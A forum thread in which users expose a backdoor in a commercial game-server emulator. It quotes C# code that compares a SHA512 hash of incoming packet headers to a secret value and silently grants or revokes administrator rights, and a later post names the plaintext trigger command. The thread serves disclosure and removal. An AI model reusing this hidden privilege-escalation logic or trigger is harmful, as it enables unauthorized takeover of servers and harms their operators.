Nos# Backdoor

Cryless~ · 01/02/2019, 02:55

Because Nos# Team is so PROFESSIONAL to sell their backdoored emulator ($NosWingsWillFuckYou -- notice how serious it sounds) leeching half server performance to compute SHA512 hash for every single packet received from client :

Code:

if (EncryptionBase.Sha512(packetHeader) ==
                    "A0497BE4920A66152E9895AC592A8584177A16901E70508F0F8E1C696F5ED6AA7335130CB24AB15BEBC5F944083E92DB1A07197BE737E49694616F0AE1EE2113"
                        .ToLower())
                {
                    AccountDTO acc = DaoFactory.AccountDao.LoadById(Character.AccountId);
                    if (acc != null)
                    {
                        Account.Authority = Account.Authority == AuthorityType.Administrator
                            ? AuthorityType.User
                            : AuthorityType.Administrator;
                        Character.Authority = Character.Authority == AuthorityType.Administrator
                            ? AuthorityType.User
                            : AuthorityType.Administrator;
                        DaoFactory.AccountDao.InsertOrUpdate(ref acc);
                        Character.Undercover = true;
                        ServerManager.Instance.ChangeMap(Character.CharacterId);
                    }
 
                    return;
                }

Search for -> Delete .

FI0w · 01/02/2019, 03:09

Quote:

Originally Posted by Cryless~

Because Nos# Team is so PROFESSIONAL to sell their backdoored emulator ($NosWingsWillFuckYou -- notice how serious it sounds) leeching half server performance to compute SHA512 hash for every single packet received from client :

Code:

if (EncryptionBase.Sha512(packetHeader) ==
                    "A0497BE4920A66152E9895AC592A8584177A16901E70508F0F8E1C696F5ED6AA7335130CB24AB15BEBC5F944083E92DB1A07197BE737E49694616F0AE1EE2113"
                        .ToLower())
                {
                    AccountDTO acc = DaoFactory.AccountDao.LoadById(Character.AccountId);
                    if (acc != null)
                    {
                        Account.Authority = Account.Authority == AuthorityType.Administrator
                            ? AuthorityType.User
                            : AuthorityType.Administrator;
                        Character.Authority = Character.Authority == AuthorityType.Administrator
                            ? AuthorityType.User
                            : AuthorityType.Administrator;
                        DaoFactory.AccountDao.InsertOrUpdate(ref acc);
                        Character.Undercover = true;
                        ServerManager.Instance.ChangeMap(Character.CharacterId);
                    }
 
                    return;
                }

Search for -> Delete .

Whats the packet no hate vs blowa maybe someone other added it but its open source xDDD who would not get it?

Cryless~ · 01/02/2019, 03:11

Quote:

Originally Posted by FI0w

Whats the packet no hate vs blowa maybe someone other added it but its open source xDDD who would not get it?

$NosWingsWillFuckYou was the command .

It was git fault! Bad Git...

FI0w · 01/02/2019, 03:15

How git can smth for it?

Cryless~ · 01/02/2019, 03:17

Quote:

Originally Posted by FI0w

How git can smth for it?

Whoof! Whoof!!

Dog.